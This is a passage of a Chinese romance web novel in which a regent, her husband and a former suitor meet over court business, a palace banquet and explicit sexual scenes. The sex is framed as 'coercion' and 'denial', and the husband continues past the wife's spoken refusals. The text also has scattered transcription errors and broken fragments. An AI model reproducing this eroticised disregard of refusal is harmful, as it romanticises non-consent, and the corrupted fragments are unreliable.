鹿微眠想也没想脱口而出,“前阵子踏秋瞧着长得好看,就带回来了,你认识?”封行渊听笑了,舔了一下后槽牙。 慕青辞别有深意地看了一眼封行渊,“认识,我们曾是旧友,不过他舟车劳顿,得回去好好休息。”说完,他径直朝着鹿微眠走过去,声线温柔,“你与我先来一趟书房,册封奏书我看了,有几个人的封赏我们还得细细商议一番。” 鹿微眠答应着,“好。”她正要走,封行渊忽然拉住她的手臂,“我应该比你们都更清楚归京的人该如何论赏,我随你去。” 慕青辞冷不丁被打断,面色不悦地看着封行渊,但又无法反驳。 鹿微眠仔细想来也是,便叫上封行渊一起去了书房。 封行渊看得出来,慕青辞显然在他不在的时候,时常来见他夫人。不然不能一进书房,就挑上了鹿微眠座椅旁边的位置,熟稔地坐下。 封行渊站在原地看了片刻,自觉地将旁边座椅拉到了鹿微眠另一边,坐下。 鹿微眠愣住。顿时感觉到些不对劲。 她左右两边各坐一个男人,两人身量颇高大,将她夹在中间,莫名有些……奇怪。偏偏他们的注意力还都在她身上,两道极具穿透力的视线盯着她,仿佛两边都燃烧着熊熊烈火,灼烤着她每一寸肌肤。 鹿微眠蓦的站起来,“那个……不等她把话说完,手臂忽然间同时被两边男人握住。一边轻一边重。 轻的是慕青辞,重的自然是那个小疯子。 两个人一起握住她的感觉更奇怪了。不同的力量施加在她的身上,但带来的都是相同的掌控感。 鹿微眠一下子又被拉坐了下来封行渊捏住她的手臂,顺着小臂往下滑。刚过酷暑盛夏,衣衫单薄,他粗粝大掌隔着薄纱,磨得她手臂一阵发麻,饶有兴致地问,“跑什么啊?” 鹿微眠凝眉,掰开他捏着自己的手,“你不要……”但她完全没发现,她躲封行渊的时候,就会不自觉地靠近慕青辞。 身后传来男人又低又近的声音,摩挲着她的耳膜,“阿眠坐在这里就好。”“不不不,不好。”鹿微眠头皮发麻,话都说不完整,立马又站起来。她挪开椅子坐到了他们两个对面,才觉得有些喘息的空间,“好了,可以说了。”封行渊深吸了一口气,不知道是因为夫人跑到对面,还是慕青辞就在他身边更让他不悦。 募青辞也好不到哪里去,但仍然摆着那一副正人君子的模样,“是因为我坐在这里让你感觉不舒服了吗?”封行渊眼皮跳了一下,打量了慕青辞片刻。心想他还挺会装。 “没有,你不要多想”鹿微眠不想说太多这种事,索性将奏书推过去,说起来正事。 总归是隔着一张桌子,她对他们两个都始终保持着距离。一来一往的谈话显得很是和谐。册封奏书的事情也谈得很快。 只需要最后记录在册,递交给礼部办就行了。 鹿微眠简单勾了几笔,朱批笔墨一个不小心飞到了自己的手上。她没当回事,顺手拿帕子准备擦,却不成想她的手腕被一个人握住,另一个人帕子已经递了过来。 鹿微眠当即愣在原地。 封行渊承拖着她的手,滚汤触感浸润着她的掌心。到行手B石慕青辞帕子上轻柔触感也压在了她的手背,他看向封行渊,“轸兄,你不了解,这皇家公务用的朱批擦不掉,需要特制的化墨油,你擦不了。” 封行渊黑瞳微眯。鹿微眠那股奇怪的感觉又升了上来,“这也,不重要。” 慕青辞没有说话,清润凉油涂在墨迹之处。动作轻柔缓慢,一点点擦掉。 鹿微眠只觉得掌心下面垫着的那只手将她越捏越紧直到慕青辞开口, "好了,就是手上有油,需要再洗一下。" 鹿微眠如蒙大赦,把东西往对面两人面前一推,逃也似地离开,“我去净手。” 屋内很快就只剩下两个大男人挨在一起坐着。 慕青辞拿过来那奏书,简单勾写剩下的内容,“什么时候回来的?”封行渊吊儿郎当地看他,“少假惺惺,我知道你不想我回来。” “知道就好。” 封行渊拿过桌上茶盏,“你陪她多久了?”慕青辞别有深意地说着,“很久了。” 封行渊朝他伸手,“喝茶吗?”慕青辞回绝,“不喝。” 下一秒,封行渊就将茶水泼到了自己身上!慕青辞蓦的起身,“你…….” 几乎是同时,鹿微眠进门。 慕青辞涌上些不好的预感,果不其然,封行渊轻轻擦了下身上的水渍,“你就这般讨厌我… 鹿微眠慌忙上前,“这是怎么了?” “没怎么,”封行渊简单擦拭着,顺势带出一个失落的表情,“慕公子方才说,不想让我回来,许是想赶我走吧。”慕青辞立马反驳,“你又胡说什么?” 封行渊叹了口气,“无妨,我本身就不讨人喜欢。”慕青辞百口莫辩,转头看鹿微眠,“阿眠,你不要信….” “好了好了。”鹿微眠觉得以后实在是不能让他们两个共处一室,“我先带他回去换衣服。”慕青辞只能噤声。 鹿微眠叫沛芹进来收拾地上那一片狼藉,带封行渊先回了房。进了寝殿,鹿微眠将内殿的房门关上,这才看向去衣柜边拿衣物的封行渊,“你又跟他闹起来了?” 封行渊看她,“就不能是他欺负我吗?”“他怎么会在这里欺负你,他又不傻。” 封行渊沉吟片刻,躞蹀带抽离窄腰,“是啊,他不傻,他可是很聪明,懂得趁人之危,趁着你丈夫不在身边,一个劲地往你身边跑”他腰间的金属锁扣松开,伴随着被打湿的外衫松散坠落,露出他极具力量感的腰腹。 鹿微眠很规矩地移开视线,“不过是朝中有事需要他帮忙,议政而已,不然我冷不丁接手搞砸了怎么办?京中又没有人比他更懂“何况我们真的只是议政谈公事,他三五日才来一次,说完要事就走。” “你还说呢,”鹿微眠嘟都囊囔地,“我丈夫不想让我记得他,也不怕我忘了他,跟别人走……” 她话还没说完,下颚突然被封行渊握住,转过来。鹿微眠一下子又看到了男人蓬勃有力、令人血脉喷张的肌肉线条。 封行渊低头看着她,“不是没忘?” 他这样靠近,让鹿微眠血液直冲大脑,“忘了。”“这位公子,你不要衣衫不整地离我这般近,小心我叫人了。” 封行渊视线牢牢地锁住她,低音沉厚,“你叫。”他越走越近,直到官靴抵着她的鞋尖,将人压在衣柜边,“叫大点声。” “让他们知道,我在对你做什么。” 鹿微眠屏气,肩膀缩紧,在他身形压下来的时候,连忙制止,“封….” 男人沾染着清茶香气的唇将她剩余的声音堵住,吞没。鹿微眠被握住下颚抵在柜子旁,被迫仰头由他侵入掠夺。 她伸手碰他却碰到了滚烫结实的肩臂。肌肤相触的感觉就变了味道。 鹿微眠怕真的演变成无法收拾的场面,坏了他身体调养。又不敢碰他,只能将手缩回。 这反倒像是给了他予取予求、肆意妄为的信号唇齿缠乱,将她所有的气息都卷走,折磨着她脆弱的上颚。 尾椎一层层过电。鹿微眠手指扣紧了身后的衣柜门板,仿佛自己都丧失了呼吸能力。 偏开头刚缓了一下,又被他捏着下巴追上。吻出了几声呜咽。 封行渊在她无法呼吸之时将她松开些,他看着她因为被索取一空而喘不上气,恶劣地用手指捻动着她的唇瓣,将她软唇压红,又紧贴在她唇边,“既然忘了我。” “那这位姑娘,被陌生男人这般轻薄,你夫君知道吗?” 74、第74章... 宽敞的殿内,鹿微眠被围困在衣柜和男人的狭窄空隙间,脊背紧贴在衣柜上。她艰难的汲取空气,胸口刚一剧烈起伏,就忽然蹭到了他。 软玉相角触的轻微触感还是让鹿微眠敏锐地捕捉到,一时间窘迫非常。而这触感对于衣衫松散的封行渊来说更加清晰。 鹿微眠却也不敢剧烈起伏,稍稍一吸气,就能碰到他。 太近了。 偏偏他的话也令人难以深思。微妙的禁忌混合着背-德感,让鹿微眠脖颈都窜出一抹绯红。 封行渊伸手触碰她颈间艳红的色泽,指尖刚刚碰到她,鹿微眠就剧烈地颤抖了一下。 也不知怎么的,他指尖像是带了电,碰到她就升起一股麻酥。鹿微眠条件反射地“啪”地一声打开他。 被打到的手背一阵火辣辣地微痛,很快这抹痛感幻化而成无穷无尽的痒意,啃噬他的心腹。 这感觉到达顶峰时,是她手足无措地嗔了他一眼。仿佛被坏人轻薄了的良家姑娘,无所适从。她转身就跑。 又跑了啊。 封行渊看着她离开,视线里混合着乖戾,那麻痒的手指轻轻蹭了一下唇角濡湿。她还是太老实了,每次听到这种话,反应都很大。 但坏人总是这样的。 在听到“不”字的时候,反而更想得逞。 七日,太久了。 鹿微眠跑出寝殿,还能听到自己砰砰作乱的心脏震动声。 她折返回书房,慕青辞已经将朱批奏书整齐的罗列在了书桌上。他们简单商议过后,就叫沛芹拿去给礼部。 当晚是皇宫礼举办的为功臣接风洗尘的宫宴。按道理讲应当是新帝主理,但是慕倚风毕竟才三个月。这样的宫宴,她是怎么也推不掉的。 不过好在,迎接的功臣都是熟人,除了她父亲就是永昌伯,及其家眷下属,封行渊与她同去。这宫宴与寻常的亲朋好友相聚宴会没有太大区别。 大殿内的人也都相熟,见了面一团和气,相互问好。鹿瑜进殿,接着就听见明国公叫他,“鹿司空!”鹿瑜笑着行礼,“国公大人。” 众人呼啦啦地围上去,询问他江南事宜。 四周宫人有条不紊地上前安排膳食,准备宫宴。初秋时节傍晚天边拉出一道金黄光晕,由浅入深没入地平面之下。宫内澄明灯火接连亮起,四周挂起了华丽喜庆的宫灯,殿内富丽堂皇。 很快大殿外响起一声高扬的,“国父国母进殿!”殿内众人接连起身行礼。 鹿微眠走到殿前,示意大家就坐。众人才纷纷入席。 但即便都是熟人,这么大的封赏宫宴,还是免不了敬酒。鹿微眠需要替慕倚风敬大家,简单敬了一盏酒。 宴席之上,歌舞酣畅。还没过多久,鹿微眠已经开始晕了。她凝眉摆弄着手里的酒盏,“这酒………这么烈啊。”封行渊撑着下颚看她。 鹿微眠脸颊因为酒水而染了些许红晕,唇角还沾着甜腻的莹亮光泽。看起来很好吃。 封行渊挑眉问她,“不能喝,为什么不换成茶?”“哦……”鹿微眠迟钝地反应过来,“是哦。”美人懵懂的样子,更令人心神荡漾。偏偏她还嘀嘀咕咕地,“我怎么忘了换茶………”封行渊只觉得喉间干涩,移开视线。一旁正有人上前来给他敬酒。 封行渊心不在焉地回着。直到鹿微眠拉了拉他的衣袖,“我快坐不住了,你陪我回去吧。” 封行渊简单答应,跟大太监支会一声,便带着鹿微眠离席。大太监转达他们的意思,宴席上他们不在,众朝臣反倒能更轻快一些。晚宴愈发热闹。 鹿微眠扶着身边男人的手臂离开大殿。与身后喧嚣吵闹声相隔绝,殿外是酷暑过后清凉秋夜的草木气息。暖意潮湿空气中混合着凉风,吹在身上有些舒服。 鹿微眠稍稍清醒了些,松开了他的手。 封行渊看手臂上搭着的手离开,“能自己走了?” "一杯而已,我没醉。”鹿微眠反驳他,“就是有点晕。"她对于自己喝醉的界线还是很清楚的。眼下她意识仍然清醒,就是身体会发软。封行渊慢悠悠地跟在她身后,看着她溜溜达达地回了宫苑。鹿微眠进门之后却停了下来,转头告诉他,“我有点饿了。” 方才喝了一盏酒,也没吃太多东西,怕失态就先走了。眼下肚子里空空的。 封行渊转头叫人送吃的过来。鹿微眠卸掉繁重的钗环,换了一身舒服的衣服,乖乖地坐在桌子前等膳食送过来,双腿轻轻摇晃着。 冷不丁踢到了什么。鹿微眠茫然地用小腿蹭了一下,旁边封行渊微微敛眸,没有制止。 但她自己发现了,还礼貌地说了声,“抱歉。”就把腿收了回去,板板正正地坐着。 封行渊眼皮跳了一下。怎么就拿走了呢。 封行渊倚靠在旁边,眸色沉郁,心情不佳。 膳食很快就送了上来。御膳房的膳食样式精美,色泽醇厚。玉露团在瓷碗中,像是青瓷缠枝中盛开的一朵娇艳欲滴的花。 这样的菜式很符合鹿微眠的喜好。 鹿微眠专心致志地吃着东西,快吃饱的时候,发现封行渊一直在看她。 大抵还是酒劲让她反应慢了一些,她这才发现,也不知道他看了多久。 这般后知后觉的微悸,让鹿微眠很不自在,“你干嘛总看我啊。” 封行渊垂眸,沉吟片刻又撩起眼皮看她,“我也饿了。” 鹿微眠勉强咽了一口茶水,隐约觉得不是字面上的意思,"那你吃啊。" 封行渊与她对视的片刻间,屋内烛灯光影将他眸底光色映照得有些不同寻常。然后男人筋骨修长的手指取下面具。 鹿微眠脑袋“嗡”的一声,这是什么信号,她无比清楚她一下子站起来,“你……” 末等说完话,就被一下子拉到了男人腿上! 鹿微眠噤声。他的手很直接,并不掩饰自己的意图,将她拉过来的时候,就覆上了她的腰身。顺手扯掉了她的裙带。 裙带拉扯着她的腰身,鹿微眠懵懵地阻拦他的手,“不行…”但感觉他跟饿狠的小狼一样,发现裙带一扯就变成了死结,直接顺着松开的裙襟,蛮力拉开。 鹿微眠领口一凉,灌入细碎的风,和男人滚烫的呼吸。 一冷一热互相交叠。她惊慌失措地护住身前。 封行渊捏住了她的粉拳,那张清朗俊秀的面容被眼底红痣晕染上几分妖邪气息,他低头轻吻她的拳头指节,“姑娘不是不认识我吗,都敢醉酒让我送回房,我以为是邀请我。”鹿微眠原本是防护抵挡的动作,却被亲得骨头发酥,“你……流氓!” 她那小拳头根本挡不住什么,他顺着她的拳头亲到了胸口那颗红痣。鹿微眠浑身缩紧,太久没有承受过的身子骨变得无比敏感。 仿佛每一根神经都开始战栗。 “我不仅流氓,还变态、混蛋,”封行渊顺着她的鬓发耳朵深嗅,他恶劣地咬了一下她的耳朵,“所以我这样的人,饿了就是要不择手段吃饭的。” 鹿微眠瑟缩着躲他的唇,身上衣衫凌乱,被他扯得乱七八糟。封行渊好奇,“你都不会饿的吗?”“怎么从来不叫我喂你。” 鹿微眠太久没听到他这般直白的话。中原对女子的教导都是不能骄奢淫逸、要端庄自持,她那“成何体统”的想法又冒了出来。只能装不认识他转移话题,“你这是要坏我清誉。”封行渊直勾勾地抬眼看她,“坏了你清誉又能怎么样?”鹿微眠唇线绷直,被他话语激得起了一层鸡皮疙瘩。他声音裹了层沙,滚烫手指顺着她腿侧滑入。大手捏着她白皙腿根,“你去官府告我啊。”封行渊仔细地看着,她的腿也很好看,和他的手一样好看。放在一起很搭,尤其是被捏住的时候。 指尖薄茧摩挲着脆弱的肌肤。鹿微眠意识到他要做什么之时,手忙脚乱地想要遮掩还是晚了一步,“你以为我不敢吗。” "哦,”封行渊无声轻笑,“那我得帮你留下一些物证才好。" 那漂亮的手指没入裙摆深处,温暖潮热的白玉深处,“方便你去与他们细说,我的罪行。”"告诉他们,我正在对你做什么。" 白玉浸润在山涧溪水中,被湍急溪水一下一下冲击着。重重地将它拍打在滑腻不堪岸边。 封行渊将浸润的白玉刮着,重新塞了回去,周而复始。"去跟他们说,你有多喜欢被坏人欺负。" 鹿微眠咬紧唇瓣,真有一种被欺负了的感觉,硬着骨头,“我没有,这是你强迫……. 封行渊指腹按得重了一点,鹿微眠的话就被尾椎战栗打断,“我强迫你的话,应该不止这些。” “说起来,我从前在书上学了一些玩法。”封行渊眷恋声线里混合着兴味,依然不遗余力地把玩,翻搅。鹿微眠听到“书”立马汗毛直立,脑海中瞬间浮现出了他看的那些奇奇怪怪的书本。紧接着他很是暴露本性的探究声音响起,"一种叫强制,一种叫限制。"他的语调像是好奇爱玩又充满野性的小狼,“我都给你试试好不好。” 鹿微眠立马想起他那些乱七八糟的喜好,本能地产生抗拒,“不试。”封行渊按着她,在她拒绝中反倒变本加厉,“不行呢。” 鹿微眠坐在他身上双腿离地,越是挣扎反倒越靠近他,越是抗拒所承受的一切也就越剧烈。 根本不给她反应和休息的空间,一股力量径直冲破了她的防线,毫无预兆地将她思绪碾压覆盖! 仿佛闪电从尾椎劈过,直冲大脑凝聚而成一道白光。鹿微眠浑身蜷起,眼尾浸湿。 在无边无际的酸麻与战栗间听到他说,“这是强-制。” 75、第75章... 鹿微眠搭在他肩臂上的手缓缓收紧。 很久都没有从那过于强烈且突然的火花爆裂中回过神来。 她将身前的人抱得很紧。 像是对刚才发生的陌生一切升起本能地恐惧。 身体仿佛一片轻飘飘的羽毛,漂浮在半空中。 久久无法回落。 封行渊按住她轻颤的腰身,似安抚又好似带了点其他意味地按压着,恶趣味地问她,“是不是很好玩?” 鹿微眠难以出声,开口就是很奇怪的声音。 她趴在他的肩头不说话。 封行渊太了解她了。 好规矩的小夫人,真想把她弄得不规矩一些。弄得失去理智,忘了礼仪规矩,满脑子都是他。 “阿眠可以与我承认自己的贪婪和欲望。”他缓慢磨蹭着她的腰窝,“我都会给你。” 鹿微眠还在缓神。封行渊另一只手绕过她。 鹿微眠忽然听到了什么“叮叮当当”的声音,她偏头看过去。发现封行渊拿起了桌上一个小盒子。 那个小盒子从刚刚进屋准备用晚膳的时候,封行渊就拿着它一直在把玩。不知道在玩什么。 鹿微眠见他眼底倒映着明亮微光,还没等她辨别那光亮是什么,就见一个小铃铛出现在了封行渊白玉般的指尖。 鹿微眠暗自思忖着,怎么会一个小铃铛….…青玉所制,在灯火之下看起来有些漂亮。 封行渊眼底止不住的欢喜,问她,“好看吗?”鹿微眠很轻地低喃一声,“好看。” 封行渊看她,“很早之前就给你打好的。”"这个东西有趣,平日里放着不会动,但是温度升高之后会自己响动。" 鹿微眠微顿,正在想着这个东西的新奇之处,怎么听着有些耳熟。末等她明白哪里耳熟,接着就看见封行渊拿着那颗小铃铛放到温热的地方。 鹿微眠一下子坐直身子,很快铃铛震动间腰身又失去了力气。身上没有一处能反抗,“你,你怎么…….”只有她的手颤颤巍巍地想要去拿,被封行渊半路拦住。他声音很是温柔,“夫人乖,我要吃饭了。”他吃饭,就是不许她阻拦的意思。男人只需一只大手就能轻而易举地制住她的双手。 偏偏鹿微眠这会儿用不上任何力气,浑身上下都集中在铃铛上。方才刚消下去那轻飘飘的感觉很快又浮了上来。封行渊观察着她的反应,仍然慢条斯理地去取桌上的酒壶。 鹿微眠催促他,“不要它。”封行渊弯唇,“别怕,太久没用过我,你需要点东西适应一下。” 鹿微眠咬唇,“你身体还没好…”封行渊看着她,“那你不想我吗?” 鹿微眠眼睫颤了一下,想着这个问题。偏偏此时,封行渊手上酒壶轻轻一歪,清凉酒水顺着她的雪肩锁骨浸润而下。 冰凉酒液再度分走鹿微眠一点感知能力。 凉意只是在身上停留了一瞬,就被身前男人唇间温热覆盖。 雪玉与清酒混合,满口茉莉甜香。 大抵是没有比这更令人沉醉的佳肴。 鹿微眠脖颈微微扬起,不曾想封行渊的吃饭。 是真的在吃。 酒水满是甜意。 入喉的辛辣将唇齿胸腹暖得滚烫。 酒越喝越热。 热意在腰腹汇合。 鹿微眠感觉到了。 小铃铛随着温热加剧,叮叮当当响动得更加厉害。 她身上想要抢走她注意力的东西太多了。她一个人仿佛被掰成了好多好多瓣,每一瓣的感受都不一样,且强烈到她无法适从。 鹿微眠连思考的能力都丧失了大半。只能被动地依从封行渊作乱。全依仗他什么时候缓和,什么时候停止。 鹿微眠整个人都被吞吃得晕头转向,急促的呼吸间,被甜酒气息覆盖,双手被他制住,只能无助地抓着裙摆,白皙手指将裙摆抓出了褶皱。小铃铛还止不住。 明明不是她在喝,她也晕晕乎乎地找不到方向。 这一次与方才的感觉很不一样。方才是一道强有力的闪电将她尾椎劈到失神。 这一次是细微的电流不间断地涌入她的四肢百骸,占据了她所有的意识。鹿微眠呼吸越来越短促。就在她再度濒临云端之时,封行渊却将那颗小铃铛拿走。 鹿微眠心脏一下子空悬,茫然无措地看他。一时间不知道是高兴他拿走了那颗小铃铛,还是该失落。 * 封行渊手指捻动着铃铛。他手里的青玉铃铛在灯火之下闪动着漂亮的光泽。他问她,“想我吗?” 鹿微眠沁水黑瞳与他对视。不等她回答,封行渊俯身吻上她微开的唇。再度将铃铛放了回去。 那抹失落被填补上,鹿微眠不自觉地仰头迎合他的亲吻。 封行渊那诡异的血痣沾染邪气,将酒水喂给她。鹿微眠脑袋更晕了。 他抱起她,朝着寝殿鸾榻走了过去。偏偏将人抱起来的时候,封行渊还故意说了一句,“不许掉。” 鹿微眠屏气。眉宇间有显而易见的委屈。 封行渊打量着她的表情,将人放下之后,状似关切地问,“怎么了?” 鹿微眠撑坐在床榻上,眼帘压低。睫羽遮盖住眼底光影,只是脸颊红润。 封行渊俯身双手撑在她身侧,“说话。” 鹿微眠被动地张了张嘴,却莫名觉得那小铃铛响动得更加厉害了。 就在眼前第二次有些失神征兆时。封行渊再度将小铃铛拿走,让她所有的感受再度戛然而止,方才过多的一切瞬间消失,存留着无穷无尽愈发深刻的麻痒。 鹿微眠接二连三被打断,眼睛都憋得通红,“你……” 封行渊唇角笑意莫测,告诉她,“这个叫限制。”身形压低,将她完全笼罩住。 说完,鹿微眠听到躞蹀带落地的声音。封行渊安抚性的吻她,径直将人压了下去,把小铃铛换掉。 初秋夜晚燥热与清露相融合,让院子里的空气都变得潮湿闷热。 秋日的蝉鸣声寒窣脆弱。四周不算静谧。 鹿微眠额间出了一层薄汗,轻咬指节。封行渊又将她的手指换成了他的,坏到了极点,"咬我。" 鹿微眠不等回答,就被他手指硬塞了进去。衣衫还都半挂在身上。 玉藕般的小腿绷直。 仿佛各处都被绷到了极限,撑到微微泛白。 方才被小铃铛几番折磨却被迫中断,让她浑身上下的感官都变得无比脆弱。随着突然给予而一下子被抛起。 鹿微眠想咬点什么,牙齿磕到他的手,又不敢用力。她显得更无助了些。 可怜兮兮地望着将她完全压覆的人。这般可怜反倒激起男人的劣根性,肆虐意图更浓。 封行渊压声,“你很想我,我感觉到了。” 鹿微眠眼睫压低,双手环住他的脖颈,将自己与他的距离拉近,“我很想你。”被限制过后的触感来得更加清晰而凶猛。 蛰伏在她身体里,四肢百骸间,铃铛激发而起的感触,被无比剧烈地点燃。那身上每一寸的战栗都被无限放大。 不过几息间,她就被拖入深海漩涡沉沦。窒息而疯狂地翻卷着。 她稍稍挣脱出水面,就又被海浪打翻压入水流深处。海浪潮水拥挤着朝她奔涌而来,仿佛要灌入她的骨缝。 鹿微眠在某一瞬间仿佛连心跳都停止。 屋外的夜色越来越沉。蝉鸣声后半夜也变得弱不可闻。 但静谧的大海再度汹涌起来。 他说,“我们再温习一遍,什么是强制,什么是限制好不好?” 更深露重。 鹿微眠学不动这些乱七八糟的知识,可封行渊一个劲地往她脑袋里灌。 末了,他见她实在是没有力气配合,环着她,轻轻按压鼓起的小腹,描摹他的轮廓。鹿微眠又从半梦半醒间抽离,迷茫地望着他。封行渊眸光混合着小兽的野性,直勾勾地看着她,问她,“强制限制,夫人学会了吗?” 鹿微眠眼睫抖了一下,埋进他胸口以示回答和求饶。封行渊以最亲密的姿态感受着她身上的温热旖旎,“那下次,我们学连续吧。” 鹿微眠不知道他在说什么连续,只是半梦半醒间意识到。他肯定是想要把她带坏。 次日,长老给封行渊诊脉的时候,鹿微眠坐在旁边无比紧张。手指拉扯着裙摆,唇线绷直,看都不敢多看几眼。反观封行渊却无比坦然。长老一面诊脉,一面捋着胡子,“你….” 鹿微眠屏气。 “脉象滑聚,但是有些无力,”长老眉头紧锁,“肾阳旺盛,肝火又浮躁。” 鹿微眠是听不懂这是什么脉象的,但看长老很是严肃的样子就开始紧张。 长老问他,“你昨日吃了什么?昨日肝火还不这么旺啊。”封行渊下意识看向鹿微眠。 鹿微眠又下意识转头。 直到长老也看过去,鹿微眠才不得不开口,小声解释,“没什么啊,就是寻常菜式。”“不对。”长老一否认,鹿微眠的心口就咯噔一下。 长老重新压了压他的脉象,“你肯定是吃什么促进肝火的东西了。”封行渊不置可否,视线仍然在鹿微眠身上,“昨日宫宴,许是吃得多了点,不记得是什么了。” 长老教育他怎么这么大人了,还管不住自己的嘴。松开诊脉的手,给封行渊换了个清火的药方。 鹿微眠总感觉,他们像是偷-腥一般。她接过方子来,就坐不住,磨磨蹭蹭地起身,“那个,你们先看着,我去吩咐他们熬药。” 长老答应着,“诶好,您先去。” 鹿微眠离开屋子才稍稍松了一口气。她看着药方上面写的药材,组合在一起,什么功效她也不太了解。 鹿微眠溜达到小厨房,碰见小药童。药童清点着药材,见到她连忙行礼。 鹿微眠将方子递给他,“这方子,是治什么的啊?”药童看了一会儿,“肾阳肝火旺……” 药童绞尽脑汁地思考了一会儿,眼睛亮了一下,“我记得!” "师父说,肾阳肝火旺是精血旺盛,但欲求不满、欲壑难填需要发泄的意思。" 76、第76章… 发泄? 发泄什么? 需要跟谁发泄……该不会是她吧。 鹿微眠唇线绷直,听长老的意思,是之前还好,昨天让他更加欲壑难填了? 啊? 鹿微眠表情很是古怪,是越吃越饿的意思吗?这是什么毛病。昨天不够? 那他够了是什么样啊。鹿微眠轻轻咬唇,心下打鼓。她越是细想越是发现,他们可能不只是尺寸不合适,大概时间和食量也不太合适。 药童简单看完了方子问鹿微眠,“娘娘,要按照这个方子上抓药吗?” 鹿微眠回过神来点头,“对。”她将药方交给药童抓药,在后院磨蹭了一段时间。她大概能想明白一点点,或许行房活动不太会伤到身体而是他会引动肝火火旺会对他还未恢复的身体产生影响。 折返回去的时候,听见长老与封行渊交代,日后他每天都会给封行渊诊脉调养,叫他不许乱吃东西 长老看见鹿微眠回来,连忙招呼道,“娘娘回来得正好。”他上前道“娘娘老夫最是相信您,您得好好帮老夫盯着点他。” 鹿微眠含糊不清地答应着,“您…放心。” 封行渊听着他们的对话,笑而不语。长老拍了他一下,“你笑什么?我就说你管不住自己,老夫也管不住,就得让娘娘管着你。” 封行渊欲言又止,看向鹿微眠。鹿微眠生怕他说出什么不该说的话,眼神警告着他。 长老没看见他们之间的眼神来往,收拾东西起身,“这事情我都交代好了,老夫先回去。” 鹿微眠走上前,“我送您出去。”“也不用送。”长老摆了摆手,自顾自的往外走。 出于礼节,鹿微眠还是往外送了送人。 长老多看了一眼后面的封行渊,小声跟鹿微眠说着,“您也不用与我客气,若是他有不听话乱吃东西的迹象,尽管与我说,我再来收拾他。”鹿微眠状似认真地答应着,“一定会与您说着。” 长老心满意足的点头,事情交给鹿微眠,他还是放心的。 鹿微眠将人送走,回来正好碰见封行渊出门。 她往屋子里面走,封行渊一面背着手后退一面迎她进来,眼尾带笑,“他又与你说了什么?”“没什么啊,“鹿微眠抬眼看他,“就是说你不要总是乱吃东西,让我盯着你罢了。” 封行渊有意无意道,“他还挺相信你。” 鹿微眠被他调侃的语调弄得脸颊发热,“我这人一向定力很好。”她小声反驳,“那都是你强迫我的。” “被强迫还那么开心,”封行渊微微俯身看她,“你很喜欢被我强迫吗?” 鹿微眠提步,用膝盖撞了他一下,“不许乱说话。” 你不愿意可是也没有不高兴。“封行渊还是分得清她什么时候是真不想要,什么时候是虚张声势欲拒还迎的,“说起来,你更喜欢强制,还是限制。” 青天白日说这种事情,鹿微眠要闹,封行渊再度出声解释,“你总得让我知道,你喜欢怎么做、不喜欢怎么做。”“让我知道又不丢人。” 鹿微眠看他凑得极近的脸,有些难以启齿。封行渊在这方面一向非常有耐心,“不说话我就当你都喜欢了。” 鹿微眠欲言又止。没有说话。 封行渊得到了答案,心情很是愉悦。他如今对她已经了解到了一定程度,瞧着她的反应,兴致盎然地捏了下她的耳朵。 鹿微眠是不知道的,她这样骨子里干干净净的闺秀千金。真的让他很有破坏-欲。 封行渊并不想转变她的矜持与内敛。他要爱死了。 爱死每天打破她骄矜防备,看她因他而震惊、羞赧又娇纵的样子。支支吾吾连句完整的话都不好意思说。 令人爱不释手。 封行渊觉得自己坏到了无可救药。 他坏没关系,夫人好就行。 她是他恶念横生的温床,也是他甘愿自束的归港 * 几日后,礼部将封赏大典的日子定下来,交由鹿微眠查验长安城内的庆典也快要开始。 慕青辞进宫简单地帮忙看了一下,与她交代着,“庆典事宜差人送到礼部去就好了,叫他们照常办封赏大典就好。” 鹿微眠踟蹰着,“多谢你。” 鹿微眠是知道这些的,如若按照国丧三年。那民间不允许办大型庆典,不允许婚嫁娱乐,一切从简。 先帝将国丧免除,因而民间对于他的非议也不算太多。到底是死者为大,先帝于百姓没做太多恶意之事,人没了到底都还是会敬着的。 鹿微眠看着慕青辞,“你还恨他吗?”慕青辞动了动唇,“我于他算不上恨,皇家博弈愿赌服输。” 慕青辞长长叹了一口气,反而笑了,“他是我心里的一根刺,我本以为拔掉就不疼了。”“可他走后,我发现自己在学着他的样子理政,我的每一个处事决定都有他的影子。”“总会有些不适应。” 鹿微眠无法评判皇家恩怨,便也没有说话。慕青辞承认,“父皇的确是比我更适合做帝王。”“只是我没有想到,他会在临安自行赴死。” 慕青辞觉得,“我还是不太了解他。” 差不多时辰到了,鹿微眠送他出去。蒙青辞跟在她身边,与她叮嘱着,“京中的事情如今已经处理得差不多了,慕景怀应当年前会回来,这段时日,京中不会有什么大事“有大事,这些册封的肱骨也能办妥……”慕青辞不太想承认,但还是说着,“何况还有封轸。” 鹿微眠听他这番话里,蕴含着其他意思,“你是不是还有话想说?” 慕青辞看着这片花园,是鹿微眠进来之后,惜春御史重新翻种的。她真的很喜欢到处都是花的地方。 四周一时间静谧无声,只有他们沉缓的脚步声。慕青辞停下脚步,转头看向鹿微眠开口,“我想再问你一个问题。””倘若,你当初没有误会我做了那些伤害你的事情,我们还有可能吗?” 鹿微眠从来没有想过这件事,她只道,“我觉得现在挺好的。”她看过去,反问他,“你不觉得吗?” 慕青辞没有说话。 起7. 不 ,她欲言又止,其实她的态度已经很明显了,“现在,你心里应该没有那么多事了,会个云见得过得开心一点?” 慕青辞微顿。是,他不得不承认。 鹿微眠收回视线,“我也是。”“不跟你顾虑那么多之后,我开心很多。”她本身就容易思虑的性子。恰好封轸,是个直心眼的偏执笨蛋。 “蒙青辞,你有没有想过,放过自己。不把自己因在皇权之中,“鹿微眠停顿片刻,“或者困在某一个人身上。 她看着宫苑花园,“像是开得这样好的花,皇宫之外,漫山遍野。” 风声渐起,吹开御花园中一朵朵金盏花。花丛在夕阳日光下随风摇曳,将他们的对话模糊在光影里。 封赏大典定在八月初。整个大典以庄重典雅的格调为主。 京城内花车游城,百姓前来观礼,除了必要的围挡之外不做限制。欢呼声此起彼伏。 朝臣之间也是一片喜庆,推操着鹿瑜,“鹿司空,快去啊,花车上给你留了位置。”“不去了不去了。”鹿瑜连连摆手,“我一大把年纪,还是给年轻人机会。” 鹿瑜背着手看花车上的几个年轻人。有一部分是随他一起去临安的下属,都二十出头,“他们年轻有为啊。” “诶,对了…….”鹿瑜说着,想起了他的贤婿,转头发现城门观礼的人群里没有鹿微眠和封行渊。 日光正好。 城郊官道口,钧宜将慕青辞的包裹递给他。 慕青辞简单道谢。鹿微眠问着,“你想去哪?” 慕青辞停顿了下,“我想去临安。” 钧宜说道,“那兴许能和回来的三殿下碰上。” 